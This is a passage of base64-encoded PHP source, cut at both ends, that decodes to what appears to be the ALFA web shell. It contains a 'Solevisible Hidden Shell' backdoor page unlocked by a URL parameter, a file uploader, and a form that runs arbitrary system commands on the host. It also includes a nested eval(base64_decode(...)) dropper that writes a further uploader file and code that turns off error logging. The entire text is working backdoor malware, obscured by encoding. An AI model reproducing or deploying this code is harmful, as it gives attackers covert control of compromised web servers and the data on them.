SFRUUC8xLjBcclxuIjsKCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7CgkJJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsKCQkkaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CgkJJGh0dHAgLj0gJHBvc3QgLiAiXHJcblxyXG4iOwoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7CgkJJGNvbnRlbnRzID0gIiI7CgkJd2hpbGUgKCFAZmVvZigkc29ja2V0KSkgewoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQsIDQwOTYpOwoJCX0KCQlsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKCQlAZmNsb3NlKCRzb2NrZXQpOwoJCXJldHVybiAkYm9keTsKCX1lbHNlewoJCXJldHVybiAiIjsKCX0KfQppZihpc3NldCgkX0dFVFsic29sZXZpc2libGUiXSkpewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwplY2hvICc8aHRtbD4nOwplY2hvICI8dGl0bGU+U29sZXZpc2libGUgSGlkZGVuIFNoZWxsPC90aXRsZT4iOwplY2hvICI8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+IjsKZWNobyAnPGI+PGJpZz48Zm9udCBjb2xvcj0jN0NGQzAwPktlcm5lbCA6IDwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkZGIj4nLihmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpP3BocF91bmFtZSgpOic/Pz8nKS4nPC9mb250PjwvYj48L2JpZz4nOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+T248L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6IGdyZWVuJz5PZmY8L2I+Ijt9CmVjaG8gIjxicj48YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPk9TOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9PUyAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U29mdHdhcmU6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gJF9TRVJWRVIgWydTRVJWRVJfU09GVFdBUkUnXSAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIlBIUCBWZXJzaW9uOiA8Zm9udCBjb2xvcj13aGl0ZT4iIC4gUEhQX1ZFUlNJT04gLiAgIjwvZm9udD48YnIgLz4iOwplY2hvICJQV0Q6PGZvbnQgY29sb3I9I0ZGRkZGRj4gIiAuIHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBhbGZhR2V0Q3dkKCkpIC4gIi88YnIgLz4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNhZmUgTW9kZSA6ICRyPGJyPiI7CmVjaG8iPGZvbnQgY29sb3I9IzdDRkMwMD5EaXNhYmxlIGZ1bmN0aW9ucyA6IDwvZm9udD4iOwokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmlmKGVtcHR5KCRkaXNmdW4pKXskZGlzZnVuID0gJzxmb250IGNvbG9yPSJncmVlbiI+Tk9ORTwvZm9udD4nO30KZWNobyI8Zm9udCBjb2xvcj1yZWQ+IjsKZWNobyAiJGRpc2Z1biI7CmVjaG8iPC9mb250Pjxicj4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPllvdXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIjwvZm9udD48YnI+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5TZXJ2ZXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+Ii4oZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0YnluYW1lJyk/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTonPz8/JykuIjwvZm9udD48YnI+PHA+IjsKZWNobyAnPGhyPjxjZW50ZXI+PGZvcm0gb25TdWJtaXQ9InRoaXMudXBsb2FkLmRpc2FibGVkPXRydWU7dGhpcy5jd2QudmFsdWUgPSBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudCh0aGlzLmN3ZC52YWx1ZSkpKTsiIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJ0NXRDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN3ZCIgdmFsdWU9Iicuc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGFsZmFHZXRDd2QoKSkuJy8iIHNpemU9IjU5Ij48cD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNDUiPjxpbnB1dCBuYW1lPSJ1cGxvYWQiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7CmlmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCBfX1pHVmpiMlJsY2coQCRfUE9TVFsnY3dkJ10pLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpe2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj48L2NlbnRlcj4nOyB9CmVsc2V7ZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+VXBsb2FkIGZhaWxlZCA6KDwvZm9udD48L2E+PGZvbnQgY29sb3I9IiM3Q0ZDMCI+PC9iPjwvY2VudGVyPjxicj48YnI+JzsgfQp9CmVjaG8gJzxocj48Zm9ybSBvblN1Ym1pdD0idGhpcy5leGVjdXRlLmRpc2FibGVkPXRydWU7dGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlKSkpOyIgbWV0aG9kPSJQT1NUIj5FeGVjdXRlIENvbW1hbmQ6IDxpbnB1dCBuYW1lPSJjb21tYW5kX3NvbGV2aXNpYmxlIiB2YWx1ZT0iIiBzaXplPSI1OSIgdHlwZT0idGV4dCIgYWxpZ249ImxlZnQiID48aW5wdXQgbmFtZT0iZXhlY3V0ZSIgdmFsdWU9IkV4ZWN1dGUiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT4KPGhyPjxwcmU+JzsKaWYoaXNzZXQoJF9QT1NUWydjb21tYW5kX3NvbGV2aXNpYmxlJ10pKXsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOwokc29sZXZpc2libGUgPSAiY2QgJyIuYWRkc2xhc2hlcyhzdHJfcmVwbGFjZSgiXFwiLCIvIixAYWxmYUdldEN3ZCgpKSkuIiciLiRzZXBhcmF0b3IuIiIuX19aR1ZqYjJSbGNnKCRfUE9TVFsnY29tbWFuZF9zb2xldmlzaWJsZSddKTsKZWNobyBhbGZhRXgoJHNvbGV2aXNpYmxlKTsKfQplY2hvJzwvcHJlPgo8L2JvZHk+PC9odG1sPic7CmV4aXQ7fQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBhbGZhR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewoJJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9IHRydWU7Cn0KfQokR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmIEBpc19kaXIoJF9QT1NUWydjJ10pID8kX1BPU1RbJ2MnXTpAYWxmYUdldEN3ZCgpKTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmICFlbXB0eSgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6IEBhbGZhR2V0Q3dkKCkpOwp9CmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7CiRHTE9CQUxTWydob21lX2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKfQppZigkR0xPQkFMU1snY3dkJ11bc3RybGVuKCRHTE9CQUxTWydjd2QnXSktMV0gIT0gJy8nICkkR0xPQkFMU1snY3dkJ10gLj0gJy8nOwppZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfYWxmYV9maWxlX2V4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpewoJZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKXsKCQlyZXR1cm4gc3RybGVuKCRzdHIpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsKCQlyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFydCwgJGVuZCk7Cgl9Cn0KZGVmaW5lKCJBTEZBX1RFTVBESVIiLCAoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikgPyAoQGlzX3dyaXRhYmxlKHN0cl9yZXBsYWNlKCdcXCcsJy8nLHN5c19nZXRfdGVtcF9kaXIoKSkpP3N5c19nZXRfdGVtcF9kaXIoKTooQGlzX3dyaXRhYmxlKCcuJyk/Jy4nOmZhbHNlKSkgOiBmYWxzZSkpOwpmdW5jdGlvbiBhbGZhaGVhZCgpewokR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXSA9ICdQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBseHVQR0p5UGx4dVBHSnlQbHh1UEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVQR05sYm5SbGNqNDhabTl5YlNCdFpYUm9iMlE5SjNCdmMzUW5JR1Z1WTNSNWNHVTlKMjExYkhScGNHRnlkQzltYjNKdExXUmhkR0VuSUc1aGJXVTlKM1Z3Ykc5aFpHVnlKejRpTzJWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNDhMMk5sYm5SbGNqNG5PMmxtS0dsemMyVjBLQ1JmVUU5VFZGc25YM1Z3YkNkZEtTWW1KRjlRVDFOVVd5ZGZkWEJzSjEwOVBTQWlWWEJzYjJGa0lpbDdhV1lvUUcxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2UyVmphRzhnSnp4aVBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQlRkV05qWlhOelpuVnNiSGtnT3lrOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMWxiSE5sZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCbVlXbHNaV1FnT2lnOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMTlaV05vYnlBblBHTmxiblJsY2o0OGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPak13Y0hnN0lHSmhZMnRuY205MWJtUTZJSFZ5YkNnbWNYVnZkRHRvZEhSd09pOHZjMjlzWlhacGMybGliR1V1WTI5dEwybHRZV2RsY3k5aVoxOWxabVpsWTNSZmRYQXVaMmxtSm5GMWIzUTdLU0J5WlhCbFlYUXRlQ0J6WTNKdmJHd2dNQ1VnTUNVZ2RISmhibk53WVhKbGJuUTdJR052Ykc5eU9pQnlaV1E3SUhSbGVIUXRjMmhoWkc5M09pQTRjSGdnT0hCNElERXpjSGc3SWo0OGMzUnliMjVuUGp4aVBqeGlhV2MrYzI5c1pYWnBjMmxpYkdWQVoyMWhhV3d1WTI5dFBDOWlQand2WW1sblBqd3ZjM1J5YjI1blBqd3ZjM0JoYmo0OEwyTmxiblJsY2o0bk96OCsnOwokYWxmYV91cGxvYWRlciA9ICckeCA9IGJhc2U2NF9kZWNvZGUoIicuJEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ10uJyIpOyRzb2xldmlzaWJsZSA9IGZvcGVuKCJzb2xldmlzaWJsZS5waHAiLCJ3Iik7ZndyaXRlKCRzb2xldmlzaWJsZSwkeCk7JzsKZGVmaW5lKCJBTEZBX1VQTE9BREVSIiwgImV2YWwoYmFzZTY0X2RlY29kZSgnIi5fX1pXNWpiMlJsY2coJGFsZmFfdXBsb2FkZXIpLiInKSkiKTsKaWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7CmZ1bmN0aW9uIEFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpewokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRhZmEgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+QWxsIEZ1bmN0aW9ucyBBY2Nlc3NpYmxlPC9zcGFuPic7CmlmKGVtcHR5KCRkaXNmdW4pKXJldHVybigkYWZhKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJHMgPSBhcnJheV91bmlxdWUoJHMpOwokaT0wOwokYj0wOwokZnVuYyA9IGFycmF5KCdzeXN0ZW0nLCdleGVjJywnc2hlbGxfZXhlYycsJ3Byb2Nfb3BlbicsJ3BvcGVuJywncGFzc3RocnUnLCdzeW1saW5rJywnZGwnKTsKJGJsYWNrX2xpc3QgPSBhcnJheSgpOwokYWxsb3dfbGlzdCA9IGFycmF5KCk7CmZvcmVhY2goJHMgYXMgJGQpewoJJGQ9dHJpbSgkZCk7CglpZihlbXB0eSgkZCl8fCFpc19jYWxsYWJsZSgkZCkpY29udGludWU7CglpZighZnVuY3Rpb25fZXhpc3RzKCRkKSl7CgkJaWYoaW5fYXJyYXkoJGQsJGZ1bmMpKXsKCQkJJGRpcyAuPSAkZC4iIHwgIjskYisrOwoJCQkkYmxhY2tfbGlzdFtdID0gJGQ7CgkJfWVsc2V7CgkJCSRhbGxvd19saXN0W10gPSAkZDsKCQl9CgkJJGkrKzsKCX0KfQppZigkaT09MClyZXR1cm4oJGFmYSk7CmlmKCRpIDw9IGNvdW50KCRmdW5jKSl7CiRhbGwgPSBhcnJheV92YWx1ZXMoYXJyYXlfbWVyZ2UoJGJsYWNrX2xpc3QsICRhbGxvd19saXN0KSk7CnJldHVybignPHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj4nLmltcGxvZGUoIiB8ICIsICRhbGwpLic8L3NwYW4+Jyk7Cn0KcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuJGRpcy4nPC9zcGFuPjxhIGlkPSJtZW51X29wdF9HZXREaXNGdW5jIiBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0ID0gdHJ1ZTtnKFwnR2V0RGlzRnVuY1wnLG51bGwsXCd3cFwnKTsiPjxzcGFuIGNsYXNzPSJoZWFkZXJfc2hvd19hbGwiPlNob3cgQWxsICgnLiRpLicpPC9zcGFuPjwvYT4nKTsKfQpmdW5jdGlvbiBBbGZhTnVtKCl7CiRhcmdzID0gZnVuY19nZXRfYXJncygpOwokYWxmYXggPSBhcnJheSgpOwokZmluZCA9IGFycmF5KCk7CmZvcigkaT0xOyRpPD0xMDskaSsrKXsKJGFsZmF4W10gPSAkaTsKfQpmb3JlYWNoKCRhcmdzIGFzICRhcmcpewokZmluZFtdID0gJGFyZzsKfQplY2hvICc8c2NyaXB0Pic7CmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsKaWYoaW5fYXJyYXkoJGFsZmEsJGZpbmQpKQpjb250aW51ZTsKZWNobyAnYWxmYScuJGFsZmEuIl89IjsKfQplY2hvICciIjwvc2NyaXB0Pic7Cn0KaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQokX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsKJGZyZWVTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza2ZyZWVzcGFjZScpP0BkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOwokdG90YWxTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza190b3RhbF9zcGFjZScpP0BkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOwokdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7CiRvbj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+IE9OIDwvc3Bhbj4iOwokb2Y9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz4gT0ZGIDwvc3Bhbj4iOwokbm9uZT0iPHNwYW4gY2xhc3M9J2hlYWRlcl9ub25lJz4gTk9ORSA8L3NwYW4+IjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzc2gyX2Nvbm5lY3QnKSkKJHNzaDI9JG9uOwplbHNlCiRzc2gyPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkKJGN1cmw9JG9uOwplbHNlCiRjdXJsPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKXx8Y2xhc3NfZXhpc3RzKCdteXNxbGknKSkKJG15c3FsPSRvbjsKZWxzZQokbXlzcWw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKJG1zc3FsPSRvbjsKZWxzZQokbXNzcWw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkKJHBnPSRvbjsKZWxzZQokcGc9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiRvcj0kb247CmVsc2UKJG9yPSRvZjsKaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpCiRkaXNmdW49QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmVsc2UKJGRpc2Z1bj0iQWxsIEZ1bmN0aW9ucyBFbmFibGUiOwppZihAaW5pX2dldCgnc2FmZV9tb2RlJykpCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZic+T048L3NwYW4+IjsKZWxzZQokc2FmZV9tb2Rlcz0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+T0ZGPC9zcGFuPiI7CiRjZ2lfc2hlbGw9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJyBpZD0naGVhZGVyX2NnaXNoZWxsJz5PRkY8L3NwYW4+IjsKaWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKXsKJGJhc2VkaXJfZGF0YSA9IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsKaWYoc3RybGVuKCRiYXNlZGlyX2RhdGEpPjEyMCl7CiRvcGVuX2I9c3Vic3RyKCRiYXNlZGlyX2RhdGEsMCwgMTIwKS4iLi4uIjsKfWVsc2V7CiRvcGVuX2IgPSAkYmFzZWRpcl9kYXRhOwp9Cn1lbHNleyRvcGVuX2I9JG5vbmU7fQppZihAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7CmVsc2UKJHNhZmVfZXhlPSRub25lOwppZihAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpCiRzYWZlX2luY2x1ZGU9QGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpOwplbHNlCiRzYWZlX2luY2x1ZGU9JG5vbmU7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewokdXNlciA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0X2N1cnJlbnRfdXNlciIpP0BnZXRfY3VycmVudF91c2VyKCk6Ij8/Pz8iOwokdWlkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteXVpZCIpP0BnZXRteXVpZCgpOiI/Pz8/IjsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXlnaWQiKT9AZ2V0bXlnaWQoKToiPz8/PyI7CiRncm91cCA9ICI/IjsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZXVpZCIpP0Bwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOmFycmF5KCJuYW1lIj0+Ij8/Pz8iLCAidWlkIj0+Ij8/Pz8iKTsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIik/QHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJnaWQiPT4iPz8/PyIpOwokdXNlciA9ICR1aWRbJ25hbWUnXTsKJHVpZCA9ICR1aWRbJ3VpZCddOwokZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiRnaWQgPSAkZ2lkWydnaWQnXTsKfQokY3dkX2xpbmtzID0gJyc7CiRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiRuPWNvdW50KCRwYXRoKTsKZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKJGN3ZF9saW5rcyAuPSAiPGEgY2xhc3M9J2hlYWRlcl9wd2QnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKJGNhY2hfY3dkX3BhdGggPSAiIjsKZm9yKCRqPTA7ICRqPD0kaTsgJGorKyl7CiRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKJGNhY2hfY3dkX3BhdGggLj0gJHBhdGhbJGpdLicvJzsKfQokY3dkX2xpbmtzIC49ICJcIiknIHBhdGg9JyIuJGNhY2hfY3dkX3BhdGguIicgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Ii4kY2FjaF9jd2RfcGF0aC4iJz4iLiRwYXRoWyRpXS4iLzwvYT4iOwp9CiRkcml2ZXMgPSAiIjsKZm9yZWFjaChyYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUpCmlmKEBpc19kaXIoJGRyaXZlLic6XFwnKSkKJGRyaXZlcyAuPSAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9ImhlYWRlcl9kcml2ZSIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOwokY3NzY29kZSA9JwktbW96LWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tb3otYW5pbWF0aW9uLWl0Z